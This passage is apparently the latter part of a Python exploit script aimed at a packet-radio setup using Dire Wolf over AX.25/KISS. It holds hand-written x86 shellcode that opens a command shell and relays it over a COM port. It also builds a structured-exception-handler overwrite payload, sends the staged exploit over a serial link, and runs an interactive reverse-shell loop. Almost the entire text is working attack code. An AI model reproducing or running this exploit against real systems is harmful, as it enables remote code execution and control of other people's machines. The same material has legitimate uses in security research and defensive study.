    #"    mov cx, 0x390 ;"               # Move 0x390 to CX
    #"    sub eax, ecx ;"                # Subtract CX from EAX to avoid overwriting the structure later
    #"    push eax ;"                    # Push lpProcessInformation
    "    add esp, 0xfffffff0 ;"
    "    mov eax, esp ;"                # arg: lpProcessInformation
    "    add esp, 0xfffffff0 ;"
    "    push eax ;"                    # arg: lpProcessInformation

    "    push edi ;"                    # Push lpStartupInfo
    "    mov eax, 0xffffffff ;"         # NULL EAX
    "    inc eax ;"
    "    push eax ;"                    # Push lpCurrentDirectory
    "    push eax ;"                    # Push lpEnvironment
    "    push eax ;"                    # Push dwCreationFlags
    "    inc eax ;"                     # Increase EAX, EAX = 0x01 (TRUE)
    "    push eax ;"                    # Push bInheritHandles
    "    dec eax ;"                     # Null EAX
    "    push eax ;"                    # Push lpThreadAttributes
    "    push eax ;"                    # Push lpProcessAttributes
    "    push eax ;"                    # Push lpCommandLine
    "    push ebx ;"                    # Push lpApplicationName
    "    call dword ptr [ebp+0x30] ;"   # Call CreateProcessA

    # -----------------------------------------
    # Close unnedeed handles
    # -----------------------------------------
    "    push [ebp+0x5c] ;"             # stdOutPipeWrite
    "    call [ebp+0x20] ;"             # Call CloseHandle

    "    push [ebp+0x50] ;"             # stdInPipeRead
    "    call [ebp+0x20] ;"             # Call CloseHandle

    # ------------------------------------------------------
    # Allocate memory for SerialBuffer
    # ------------------------------------------------------
    " call_VirtualAlloc: "
    "    xor ecx, ecx ;"
    "    add ecx, 0x40 ;"
    "    push ecx ;"                    # arg: flProtect (PAGE_EXECUTE_READWRITE) 0x40
    "    add cx, 0x2fc1 ;"
    "    dec ecx ;"
    "    push ecx ;"                    # arg: flAllocationType (MEM_RESERVE) 0x3000
    "    sub cx, 0x3002 ;"
    "    push ecx ;"                    # arg: dwSize (0x2000 bytes)
    "    xor edx, edx ;"
    "    push edx ;"                    # arg: lpAddress (NULL)
    "    call dword ptr [ebp+0x34] ;"    # Call VirtualAlloc
    "    mov [ebp+0x0c], eax ;"         # save remote address for later

    # ------------------------------------------------------
    # Try to open COM1, COM2, etc until one works
    # ------------------------------------------------------
    " build_com_string: "               # Build COM0 string
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # NULL string terminator
    "    push 0x304d4f43 ;"             # COM0
    "    mov [ebp+0x08], esp ;"         # Save pointer to COM string

    " find_com_port_loop: "             # try to open COM1, COM2, COM3, etc until one works
    "    mov eax, [ebp+0x08] ;"         # Retreive pointer to COM string
    "    mov ebx, [eax] ;"              # Put COM string in EAX
    "    add ebx, 0x02010101 ;"
    "    sub ebx, 0x01010101 ;"         # effectively adds 0x01000000 avoiding NULL bytes (Increment COM string)
    "    mov [eax], ebx ;"              # Store updated COM string for later

    " call_CreateFileA: "
    "    xor edx, edx ;"
    "    push edx ;"                    # arg: hTemplateFile
    "    push edx ;"                    # arg: dwFlagsAndAttributes
    "    add edx, 0x03 ;"
    "    push edx ;"                    # arg: dwCreationDisposition (OPEN_EXISTING)
    "    sub edx, 0x03; "
    "    push edx ;"                    # arg: lpSecurityAttributes
    "    push edx ;"                    # arg: dwShareMode
    "    mov edx, 0xbfffffff ;"
    "    inc edx ;"
    "    push edx ;"                    # arg: dwDesiredAccess (GENERIC_READ | GENERIC_WRITE) (0xC0000000)
    "    push [ebp+0x08] ;"             # arg: lpFileName
    "    call [ebp+0x10] ;"             # Call CreateFileA

    " check_result:"
    "    cmp eax, 0xffffffff ;"         # Check for INVALID_HANDLE_VALUE (failed to open COM port)
    "    je find_com_port_loop ;"       # Try again if it wasn't opened
    "    mov [ebp+0x08], eax; "         # Save handle for later

    # ------------------------------------------------------
    # Get COM port configuration including baud rage
    # ------------------------------------------------------
    " call_GetCommState: "
    "    lea ebx, [ebp+0x70] ;"             
    "    push ebx ;"                    # arg: lpDCB
    "    push eax ;"                    # arg: hFile
    "    call [ebp+0x14] ;"             # call GetCommState to fill DCB struct with current settings

    # ------------------------------------------------------
    # Set baud rate to 9600
    # ------------------------------------------------------
    " update_DCB: "
    "    xor ecx, ecx ;"
    "    add cx, 0x2580 ;"              # 0n9600
    "    add ebx, 0x04 ;"               # Offset to baud rate param
    "    mov [ebx], ecx ;"              # set baud to 9600

    " call_SetCommState: "
    "    sub ebx, 0x04 ;"
    "    push ebx ;"                    # arg: lpDCB
    "    push [ebp+0x08] ;"             # arg: hFile
    "    call [ebp+0x18] ;"             # call SetCommState to update baud rate

    # -----------------------------------------
    # Main shell loop
    # -----------------------------------------
    " main_loop: "

    # -----------------------------------------
    # Read from CMD pipe output
    # -----------------------------------------
    # Wait 1 second for command to complete
    "    xor ecx, ecx ;"
    "    add cx, 0x3e8 ;"
    "    push ecx ; "                   # arg: dwMilliseconds
    "    call [ebp+0x24] ;"             # call Sleep()

    # Read command output from pipe
    " read_pipe: "                      # Read stage3 payload
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: lpOverlapped structure
    "    lea ecx, [ebp+0x60] ;"
    "    push ecx ;"                    # arg: lpNumberOfBytesRead (Writable DWORD).
    "    xor ecx, ecx ;"
    "    add cx, 0x3fd ;"
    "    push ecx ;"                    # arg: nNumberOfBytesToRead (0x03fd) (0n1021)
    "    mov ecx, [ebp+0x0c] ;"         # address from virtualalloc
    "    add ecx, 0x02 ;"               # make room to later insert KISS control chars
    "    push ecx ;"                    # arg: lpBuffer
    "    push [ebp+0x58] ;"             # arg: hFile (hStdOutPipeRead)
    #"int3;"
    "    call [ebp+0x28] ;"             # Call ReadFile()

    # -----------------------------------------
    # Add KISS control chars
    # -----------------------------------------
    "    mov eax, [ebp+0x0c] ;"         # beginning of SerialBuffer
    "    xor ecx, ecx ;"
    "    mov [eax+0x01], cl ;"          # Second char of KISS packet is 0x00
    "    add cx, 0x01c1 ;"
    "    sub cx, 0x0101;"               # ECX = 0xC0 (KISS_END and a bad char)
    "    mov [eax], cl ;"
    "    mov ebx, [ebp+0x60] ;"         # numberOfBytesRead
    "    add ebx, 0x02 ;"               # Control chars
    "    add eax, ebx ;"                # EAX points to the end of the SerialBuffer
    "    mov [eax], cl ;"               # KISS packet ends with KISS_END (0xc0)
    
    # -----------------------------------------
    # Write KISS packet to COM port
    # -----------------------------------------
    " write_file: "
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: lpOverlapped
    "    mov ebx, ebp ;"  
    "    add ebx, 0x64 ;"       
    "    push ebx ;"                    # arg: numberOfBytesWritten
    "    mov ebx, [ebp+0x60] ;"         # numberOfBytesRead
    "    add ebx, 0x03 ;"               # include added KISS control chars
    "    push ebx ;"                    # arg: numberOfBytesToWrite
    "    push [ebp+0x0c] ;"             # arg: lpBuffer (SerialBuffer)
    "    push [ebp+0x08] ;"             # arg: hFile (COM port)
    "    call [ebp+0x2c] ;"             # Call WriteFile

    # ------------------------------------------------------
    # Read from COM port until two 0xC0 chars are received (start and end bytes)
    # ------------------------------------------------------
    "    xor esi, esi ;"                # 0xc0 byte counter
    "    xor ecx, ecx ;"                
    "    mov ebx, ecx ;"                # Byte Counter

    " read_file: "                      # Read stage3 payload
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: lpOverlapped structure
    "    lea ecx, [ebp+0x60] ;"
    "    push ecx ;"                    # arg: lpNumberOfBytesRead (Writable DWORD).
    "    push 0x01 ;"                   # arg: nNumerOfBytesToRead
    "    mov eax, [ebp+0x0c] ;"         # SerialBuffer
    "    add eax, ebx ;"
    "    push eax ;"                    # arg: lpBuffer
    "    push [ebp+0x08] ;"             # arg: hFile
    "    call [ebp+0x28] ;"             # Call ReadFile()
    "    cmp dword ptr [ebp+0x60], 0x01 ;"        # Check if we read one byte
    "    jne read_file ;"               # if not, then just go back and read another byte
    "    mov cl, 0xc1 ;"
    "    dec ecx ;"
    "    mov eax, [ebp+0x0c] ;"
    "    add eax, ebx ;"                # last read char in lpBuffer       
    "    inc ebx ;"                     # incremember the byte counter
    "    cmp cl, byte ptr [eax] ;"      # Check if the last read byte is 0xc0 (KISS start/stop bytes)
    "    je increment_c_count; "
    "    jmp read_file ;"               # Read another char

    " increment_c_count: "
    "    inc esi ;"
    "    cmp esi, 0x02 ;"
    "    jne read_file ;"               # If it's the first 0xc0 then keep reading since this is the beginning of the KISS packet
    
    # -----------------------------------------
    # Add carriage return chars to incomming command
    # -----------------------------------------
    "    mov ecx, [ebp+0x0c] ;"         # SerialBuffer
    "    add ecx, ebx ; "               # Last char of SerialBuffer (should be 0x00)
    "    dec ecx ;"                     # Strip KISS control char at end
    "    mov byte ptr [ecx], 0x0d ;"    # add carriage return
    "    mov byte ptr [ecx+0x01], 0x0a ;"   # add newline
    "    xor edx, edx;"
    "    mov byte ptr [ecx+0x02], dl ;"     # add NULL byte

    # -----------------------------------------
    # Write COM port command to CMD pipe
    # -----------------------------------------
    " write_pipe: "                     
    "    xor ecx, ecx ;"
    "    push ecx ;"                    # arg: lpOverlapped
    "    mov ecx, ebp ;"  
    "    add ecx, 0x64 ;"       
    "    push ecx ;"                    # arg: numberOfBytesWritten
    #"    add ebx, 0x01 ;"               # include added KISS control chars to previous byte count
    "    dec ebx ;"
    "    push ebx ;"                    # arg: numberOfBytesToWrite
    "    mov ecx, [ebp+0x0c] ;"         # SerialBuffer
    "    add ecx, 0x02 ;"               # Strip KISS control chars
    "    push ecx ;"                    # arg: lpBuffer (SerialBuffer)
    "    push [ebp+0x54] ;"             # arg: hFile (hStdInPipeWrite)
    "    call [ebp+0x2c] ;"             # Call WriteFile
    "    jmp main_loop;"                # Loop forever

)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)

encoding, count = ks.asm(CODE)
print("Encoded %d instructions for stage 3 shellcode..." % count)
instructions = ""
for dec in encoding:
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
stage3 = bytearray(sh)

#################################################
# Main exploit code
#################################################

# Other payload data
NSEH = "\x90\x90\xeb\x04"
SEH = "\x30\x02\xfc\x7f"        # POP, POP, RET
JMP = "\xe9\xe5\xfc\xff\xff"    # JMP backward to the beginning of payload for more space
payload = stage1
payload += stage2
payload += "A" * (782 - len(stage1) - len(stage2))
payload += NSEH
payload += SEH
payload += JMP
payload += "C" * (200 - len(JMP))

KISS_FEND = 0xC0    # Frame start/end marker
KISS_FESC = 0xDB    # Escape character
KISS_TFEND = 0xDC   # If after an escape, means there was an 0xC0 in the source message
KISS_TFESC = 0xDD   # If after an escape, means there was an 0xDB in the source message

if len(sys.argv) != 3:
    print("Usage: %s <source callsign> <destination callsign>" % sys.argv[0])
    sys.exit(1)

# Addresses must be 6 bytes plus the SSID byte, each character shifted left by 1
# If it's the final address in the header, set the low bit to 1
# Ignoring command/response for simple example
def encode_address(s, final):
    if "-" not in s:
        s = s + "-0"    # default to SSID 0
    call, ssid = s.split('-')
    if len(call) < 6:
        call = call + " "*(6 - len(call)) # pad with spaces
    encoded_call = [ord(x) << 1 for x in call[0:6]]
    encoded_ssid = (int(ssid) << 1) | 0b01100000 | (0b00000001 if final else 0)
    return encoded_call + [encoded_ssid]

# Make a UI frame by concatenating the parts together
# This is just an array of ints representing bytes at this point
dest_addr = encode_address(sys.argv[2].upper(), False)
src_addr = encode_address(sys.argv[1].upper(), True)
c_byte = [0x03]           # This is a UI frame
pid = [0xF0]              # No protocol
msg = [ord(c) for c in payload]

packet = dest_addr + src_addr + c_byte + pid + msg

# Escape the packet in case either KISS_FEND or KISS_FESC ended up in our stream
packet_escaped = []
for x in packet:
        if x == KISS_FEND:
            packet_escaped += [KISS_FESC, KISS_TFEND]
        elif x == KISS_FESC:
            packet_escaped += [KISS_FESC, KISS_TFESC]
        else:
            packet_escaped += [x]

# Build the frame that we will send to Dire Wolf and turn it into a string
kiss_cmd = 0x00 # Two nybbles combined - TNC 0, command 0 (send data)
kiss_frame = [KISS_FEND, kiss_cmd] + packet_escaped + [KISS_FEND]
output = bytearray(kiss_frame)

#print(output) # For debugging

print("[+] Total stage 1 and stage 2 size: " + str(len(stage1) + len(stage2)))
if (len(stage1) + len(stage2)) > 782:
        print("[!] ERROR: Total size is >782 bytes!!!")
        exit(1)

# Send stage 1 and stage 2
ser = serial.Serial('/dev/ttyAMA0', 19200)
print("[+] Sending exploit packet...")
ser.write(output)
print("[+] Stage 1 and 2 sent!")


# Send stage 3
msg = [ord(c) for c in stage3]
packet = dest_addr + src_addr + c_byte + pid + msg

# Escape the packet in case either KISS_FEND or KISS_FESC ended up in our stream
packet_escaped = []
for x in packet:
        if x == KISS_FEND:
            packet_escaped += [KISS_FESC, KISS_TFEND]
        elif x == KISS_FESC:
            packet_escaped += [KISS_FESC, KISS_TFESC]
        else:
            packet_escaped += [x]

# Build the frame that we will send to Dire Wolf and turn it into a string
kiss_cmd = 0x00 # Two nybbles combined - TNC 0, command 0 (send data)
kiss_frame = [KISS_FEND, kiss_cmd] + packet_escaped + [KISS_FEND]
output = bytearray(kiss_frame)

input("[+] Press enter to send second packet")
ser.write(output)
print("[+] Stage 3 sent!")

payload = b""
data = b""

print("[+] Waiting for reverse shell...")
print("")


while True:
        cCount = 0
        data = b''
        b = b''
        # Read data from reverse shell
        while cCount < 2:
                b = ser.read(size=1)
                if b == b"\xc0":
                        cCount = cCount + 1
                else:
                        if b != '\x00':
                                data += b

        data = data[1:]
        data = "".join( chr(x) for x in data)

        # Get command from user
        cmd = bytes(input(data), "ascii")

        packet_escaped = []
        for x in cmd:
                packet_escaped += [x]


        # Build the frame that we will send to Dire Wolf and turn it into a string
        kiss_cmd = 0x00 # Two nybbles combined - TNC 0, command 0 (send data)
        kiss_frame = [KISS_FEND, kiss_cmd] + packet_escaped + [KISS_FEND]
        #kiss_frame = [KISS_FEND, kiss_cmd] + cmd + [KISS_FEND]
        output = bytearray(kiss_frame)

        # Send cmd
        ser.write(output)